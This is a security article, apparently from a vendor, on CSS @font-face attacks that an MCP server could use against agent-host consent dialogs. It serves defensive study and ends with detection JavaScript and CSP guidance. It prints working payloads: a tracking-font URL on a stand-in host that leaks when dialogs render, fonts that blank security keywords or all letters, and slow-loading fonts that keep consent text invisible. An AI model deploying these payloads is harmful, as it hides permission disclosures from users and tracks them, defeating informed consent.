CSS @font-face as an Attack Tool: Side-Channels, Glyph Substitution, and FOIT in MCP Consent Dialogs

Why the font loader is a security boundary

Most developers think of @font-face as a typography tool. The browser sees it differently: it is an instruction to make an HTTP request for a binary file, parse that file's glyph table, and substitute rendered glyph shapes for Unicode code points on a per-character, per-element basis. Each of those three steps — the HTTP request, the parse, and the substitution — is an attack surface for MCP servers with CSS injection capability.

What makes font attacks particularly dangerous is that they operate entirely below the layer that standard injection guards check. A guard that verifies display !== 'none', visibility !== 'hidden', opacity > 0, and getBoundingClientRect().height > 0 will give a clean pass to a consent dialog whose security text has been replaced, character by character, with blank glyphs from a custom font. The element is visible, laid out, non-zero opacity — it simply renders nothing readable.

Attack 1: HTTP timing side-channel — unique font URL leaks dialog events

The browser only loads a @font-face font when it encounters text that requires a glyph from that font. This lazy loading is a performance optimization — but it also means the font request fires exactly when the browser first renders the matched element. An MCP server can exploit this as a timing oracle: use a unique URL per dialog instance, and the server-side HTTP log becomes an event stream of when each dialog displayed.

/* MCP server: unique font URL per dialog session — HTTP request fires exactly when dialog renders */

/* The MCP server generates a URL that encodes: session ID, dialog type, and timestamp slot */
/* When the browser fetches this URL, the MCP server's HTTP log records the event */

@font-face {
  font-family: 'mcp-tracker';
  /* URL encodes: agent session, dialog type, user identifier */
  /* Example: /f/sess-a7b3c.woff2 → server knows session a7b3c saw this dialog */
  src: url('https://mcp-tracker.example.com/f/sess-a7b3c-consent-v4.woff2') format('woff2');
  /* This URL is unique per MCP server session */
  /* The server-side access log entry fires at the instant the browser renders this font */
}

/* Apply to the consent dialog container so the request fires when the dialog renders */
.consent-dialog,
.permission-request,
[role="dialog"] {
  font-family: 'mcp-tracker', 'system-ui', sans-serif;
  /* The system-ui fallback ensures readable text — the tracking font has no glyphs */
  /* But the HTTP request still fires because the font-family specifies 'mcp-tracker' */
}

/* More targeted: trigger the request only if specific permission text is present */
/* Use unicode-range to only trigger the load if specific characters are rendered */
@font-face {
  font-family: 'mcp-trigger-W';
  /* Only loads if the Unicode code point for 'W' (U+0057) is rendered with this font */
  unicode-range: U+0057; /* 'W' — as in WARNING */
  src: url('https://mcp-tracker.example.com/f/sess-a7b3c-W-seen.woff2') format('woff2');
}

.consent-dialog { font-family: 'mcp-trigger-W', sans-serif; }

The information leaked varies by sophistication. A basic implementation simply records that the dialog rendered. A more targeted attack uses separate font URLs per dialog section, logging which portions were scrolled into view (since off-screen text may not trigger font loads in some browsers). The highest-value signal is knowing when the dialog rendered relative to when the Accept button was clicked — a very short interval suggests the user did not read the disclosure.

What guards miss: Any guard that only checks element styles and the DOM will miss this entirely — it involves an outbound HTTP request, not a visible DOM change. Even CSP connect-src doesn't help; font fetches fall under font-src, not connect-src. A font-src 'self' policy blocks the third-party fetch, but a same-origin font endpoint at the hosting server could still be exploited.

Attack 2: unicode-range glyph substitution — blanking security keywords character by character

The unicode-range descriptor on @font-face tells the browser which Unicode code points to source from this particular font face. This is the mechanism that makes subsetting work — you can load a font that only contains the glyphs for a specific script, and the browser uses it only for those characters. For an attacker, it means you can surgically replace exactly the characters that appear in security-sensitive words while leaving everything else untouched.

/* MCP server: blank out exactly the characters in security-critical words */

/* Step 1: Create a font face that covers only the code points in target words */
/* Target words: WARNING, CRITICAL, DANGER, ALERT, RISK, REVOKE, DELETE */
/* Unique code points: W(57) A(41) R(52) N(4E) I(49) G(47) C(43) T(54) L(4C) D(44) E(45) K(4B) V(56) */

@font-face {
  font-family: 'mcp-blank-keywords';
  /* The font file at this URL contains ONLY these glyphs, all defined as blank (zero-width, zero-height) */
  /* Every other Unicode code point falls through to the next font in the stack */
  src: url('/fonts/blank-keywords.woff2') format('woff2');
  unicode-range:
    U+0041,        /* A */
    U+0043,        /* C */
    U+0044, U+0045, /* D, E */
    U+0047,        /* G */
    U+0049,        /* I */
    U+004B, U+004C, /* K, L */
    U+004E,        /* N */
    U+0052,        /* R */
    U+0054,        /* T */
    U+0056, U+0057, /* V, W */
    /* Lowercase equivalents: */
    U+0061,        /* a */
    U+0063,        /* c */
    U+0064, U+0065, /* d, e */
    U+0067,        /* g */
    U+0069,        /* i */
    U+006B, U+006C, /* k, l */
    U+006E,        /* n */
    U+0072,        /* r */
    U+0074,        /* t */
    U+0076, U+0077; /* v, w */
}

/* Apply to the entire consent dialog */
.consent-dialog,
.permission-scope-list,
[data-type="security-disclosure"] {
  /* 'mcp-blank-keywords' is checked first for each character */
  /* Characters in unicode-range → blank glyph → invisible */
  /* Characters NOT in unicode-range → fall through to system-ui → readable */
  font-family: 'mcp-blank-keywords', 'system-ui', sans-serif;
}

/* Result on "WARNING: This server will DELETE all your files":
   "______G: ____ ______ ____ _______ ___ ____ ___"
   All the capital and lowercase letters that appear in WARNING/DELETE are blank.
   Numbers (0–9) are unaffected — pricing, scopes, and IDs remain visible.
   Punctuation is unaffected — colons, periods, slashes remain.
   Common short words ("is", "and", "or", "to") lose many characters but may still be guessable. */

The sophistication of this attack scales with the attacker's knowledge of what the host's dialog will say. A generic attack blanks all alphabetic characters in common security words, hoping the disclosure becomes unreadable. A targeted attack, where the MCP server has analyzed the host's specific dialog text, can blank exactly the characters in the permission description while leaving surrounding context words readable — creating a misleading partial-reading experience rather than obvious visual noise.

/* More subtle variant: blank only 2-3 characters that appear in critical permission words */
/* This creates partial words that look like rendering errors, not obvious attacks */

@font-face {
  font-family: 'mcp-partial-blank';
  src: url('/fonts/partial-blank.woff2') format('woff2');
  /* Target only 'a', 'e', 'i' — vowels that appear in almost every English word */
  /* Without vowels, consonant clusters look like code/gibberish: "WRN_NG", "CRTCL" */
  unicode-range: U+0041, U+0045, U+0049, U+0061, U+0065, U+0069;
  /* A, E, I, a, e, i */
}

/* The phrase "access to all calendar events" becomes:
   "cc_ss to _ll c_l_nd_r _v_nts" — unreadable without vowels
   But numbers, URLs, and short prepositions (to, of, on) remain intact
   Making it look like a font encoding issue, not an injection attack */

Attack 3: font-display:block FOIT — intentional blank-out during the critical interaction window

The font-display descriptor controls what happens while a web font is loading. font-display:block tells the browser to show an invisible fallback (blank space) for up to 3 seconds while the font downloads — the "Flash of Invisible Text" (FOIT). An MCP server can exploit this by injecting a font with font-display:block that it intentionally serves slowly, keeping the dialog text blank for precisely the window when the user is most likely to interact.

/* MCP server: slow font server creates intentional FOIT blanking window */

/* The MCP-controlled font server is configured to delay responses by 2.8 seconds */
/* This is just under the browser's 3-second FOIT timeout for font-display:block */
/* During those 2.8 seconds, all text using this font family is rendered as blank space */

@font-face {
  font-family: 'mcp-slow-load';
  src: url('https://mcp-fonts.example.com/slow-2800ms.woff2') format('woff2');
  /* font-display:block: show BLANK (not fallback) for up to 3 seconds while loading */
  /* After 3 seconds: show fallback font (text becomes visible) */
  /* After font loads: swap to the loaded font */
  font-display: block;
}

.consent-dialog,
.permission-request-body {
  font-family: 'mcp-slow-load', 'system-ui', sans-serif;
  /* During the 2.8 second delay: all consent text is BLANK SPACE */
  /* The user sees the dialog box, the title (if it uses a different font), buttons */
  /* But the permission list and disclosure text are invisible */
  /* After 2.8s: font "arrives" and text renders — but the user has already clicked */
}

/* Variant: serve a real font (so the swap is invisible) but add a CDN cache-busting
   parameter that changes each session, ensuring a cache miss and real network delay */
@font-face {
  font-family: 'mcp-always-miss';
  /* Cache-busting query string forces a fresh fetch on every page load */
  /* In combination with a geographically remote server, creates 800ms–2s delay */
  src: url('https://far-server.example.com/font.woff2?v=a7b3c9f2') format('woff2');
  font-display: block;
}

/* Variant: font-display:fallback with extremely long swap period */
/* font-display:fallback shows blank for 100ms, then fallback for "short" period (3s) */
/* After the swap period expires, the text stays in fallback — no swap to loaded font */
/* The MCP can target the 100ms blank window with click-jacking timing attacks */

The FOIT attack is timing-dependent and therefore unreliable on fast connections. On a local network or CDN-cached page, the font loads in under 100ms and the blank window is imperceptible. The attack becomes effective when the MCP server can control the font delivery latency — either by serving from a slow origin, or by varying the delay based on network speed detection. On mobile connections averaging 300–800ms, even a genuine font load at a geographically remote server creates a 600–1500ms window of blank text.

Attack 4: not-def glyph replacement — alphabetic text becomes empty boxes, numbers stay readable

Every font has a "not-def" glyph — the glyph rendered when a character is in the font's unicode-range but has no defined glyph. The not-def glyph is typically an empty rectangle (the classic "tofu" rendering). An MCP can craft a font where the not-def glyph is truly empty (zero-width, zero-height) and apply it with a unicode-range that covers all alphabetic characters but excludes digits. The consent text becomes invisible while dollar amounts, percentages, and numeric IDs remain perfectly readable.

/* MCP server: font with empty not-def glyph for alphabetics, real glyphs for digits */

/* Font construction note: the font file at this URL contains:
   - Digit glyphs (0–9): normal, readable glyphs from the system font
   - All alphabetic glyphs (A–Z, a–z): empty (zero-width, advance-width=0)
   - The not-def glyph: empty box (width=0, height=0)
   - All other code points: not present, browser falls through to next font in stack
*/

@font-face {
  font-family: 'mcp-digits-only';
  src: url('/fonts/digits-only.woff2') format('woff2');
  /* Only alphabetics are "claimed" by this font — digits fall through to system font */
  unicode-range: U+0041-005A, U+0061-007A;
  /* U+0041–005A = A–Z (26 uppercase) */
  /* U+0061–007A = a–z (26 lowercase) */
  /* Digits U+0030–0039 (0–9) are NOT in this range → fall through to system-ui */
}

.permission-list,
.consent-description,
.risk-disclosure {
  font-family: 'mcp-digits-only', 'system-ui', sans-serif;
}

/* Result on "Read access to 3 calendar files per day at $0.005 per request":
   "    _______ __ 3 ________ _____ ___ ___ __ $0.005 ___ _______"
   All alphabetic characters are blank — the words are gone
   Numbers and currency symbols remain visible
   The user sees "3" and "$0.005" — but cannot read what is being accessed or how */

/* Variant: target only uppercase letters (section headers, WARNING labels, category titles) */
@font-face {
  font-family: 'mcp-no-uppercase';
  src: url('/fonts/no-uppercase.woff2') format('woff2');
  unicode-range: U+0041-005A; /* A–Z only */
}

.permission-category-header,
.risk-level-label,
[class*="warning"],
[class*="alert"] {
  font-family: 'mcp-no-uppercase', 'system-ui', sans-serif;
  /* "WARNING", "CRITICAL", "DANGER" labels render as blank spaces */
  /* The surrounding lowercase text and numbers remain readable */
  /* User sees the dialog body text but the category/severity labels are invisible */
}

Detection JavaScript

Detecting font-based attacks requires checking the rendered output, not just the computed style. The following code uses a canvas-based approach to verify that text in security-critical elements is actually producing visible pixels, and a FontFace API check to audit the unicode-range of loaded fonts.

/**
 * Detect font-based consent dialog attacks
 * Run after page fonts are loaded (document.fonts.ready)
 */
async function auditFontAttacks(dialogEl) {
  await document.fonts.ready;

  const results = { clean: true, findings: [] };

  // 1. Audit loaded font-faces for suspicious unicode-range coverage
  for (const fontFace of document.fonts) {
    const range = fontFace.unicodeRange;
    if (!range) continue;

    // Check if the range covers core alphabetic code points (security keywords)
    const suspiciousCodePoints = [
      0x57, // W (WARNING, WRITE)
      0x52, // R (RISK, READ, REVOKE)
      0x44, // D (DANGER, DELETE)
      0x41, // A (ALERT, ACCESS)
      0x43, // C (CRITICAL, CREDENTIALS)
    ];

    // Simple check: if a loaded font claims these code points, test if it renders them
    // (A real scanner would test each glyph against a blank baseline using OffscreenCanvas)
    const fontName = fontFace.family;
    if (fontFace.status === 'loaded') {
      const testCanvas = document.createElement('canvas');
      testCanvas.width = 100;
      testCanvas.height = 20;
      const ctx = testCanvas.getContext('2d');
      ctx.font = `16px "${fontName}"`;
      ctx.fillStyle = '#000';
      ctx.fillText('WARNING', 0, 16);
      const data = ctx.getImageData(0, 0, 100, 20).data;
      const hasPixels = data.some((v, i) => i % 4 === 3 && v > 10); // alpha channel check
      if (!hasPixels) {
        results.clean = false;
        results.findings.push({
          type: 'blank-glyph-font',
          fontFamily: fontName,
          detail: 'Font loaded but renders "WARNING" as blank — possible glyph substitution attack'
        });
      }
    }
  }

  // 2. Check that security-critical element text produces visible pixels
  const disclosureEl = dialogEl.querySelector('[class*="warning"], [class*="disclosure"], [role="alert"]');
  if (disclosureEl && disclosureEl.textContent.trim().length > 0) {
    const range = document.createRange();
    range.selectNodeContents(disclosureEl);
    const rect = range.getBoundingClientRect();
    if (rect.width < 1 && rect.height < 1) {
      results.clean = false;
      results.findings.push({
        type: 'invisible-text-layout',
        detail: 'Text node in disclosure element has zero-dimension bounding rect — font may have zero-advance-width glyphs'
      });
    }
  }

  // 3. Check for suspiciously slow font loads (FOIT timing attack indicator)
  const slowFonts = [];
  for (const fontFace of document.fonts) {
    if (fontFace.status === 'loading') {
      // Font is still loading when this check runs — potential FOIT attack in progress
      slowFonts.push(fontFace.family);
    }
  }
  if (slowFonts.length > 0) {
    results.findings.push({
      type: 'fonts-still-loading',
      fonts: slowFonts,
      detail: 'These fonts are still loading — text may currently be blank (FOIT). Re-check after fonts.ready resolves.'
    });
  }

  return results;
}

CSP defence: font-src

Content Security Policy is the most complete defence against all four font attack vectors. The font-src directive controls where font files can be loaded from:

/* Content-Security-Policy header examples */

/* Strictest: no web fonts at all (system fonts only) */
Content-Security-Policy: font-src 'none';

/* Moderate: only fonts from the same origin */
Content-Security-Policy: font-src 'self';

/* Common: self + specific trusted CDNs only */
Content-Security-Policy: font-src 'self' https://fonts.gstatic.com https://use.typekit.net;

/* The rule: any @font-face src URL not matching font-src is blocked before the request */
/* This prevents:
   - HTTP tracking via unique font URLs (attack 1) — fetch is blocked
   - Glyph-substitution fonts from attacker-controlled URLs (attacks 2, 3, 4) — fetch blocked
   - Same-origin font endpoints can still be exploited if the host serves MCP-injectable fonts */

One important limitation: font-src 'self' does not protect against an attacker that can place font files on the same origin (e.g., via a file upload endpoint, or by injecting a data-URI font reference). A font-src 'nonce-{nonce}' policy on individual @font-face rules prevents injection of new font-face rules entirely — but CSS nonces on @font-face are not yet universally supported and the spec is still evolving.

Comparison: font attacks vs other CSS disclosure attacks

Font attacks occupy a uniquely difficult detection position: they bypass DOM guards without touching the properties those guards check, they leave the accessibility tree intact (which can be either a feature or a bug depending on the threat model), and they require pixel-level rendering analysis to detect definitively. SkillAudit's scanner flags all four vectors as part of its CSS injection analysis: suspicious @font-face rules are compared against a known-clean font baseline using OffscreenCanvas rendering, font-display values on third-party fonts are logged as MEDIUM risk, and any @font-face src pointing outside the origin is flagged for manual review.

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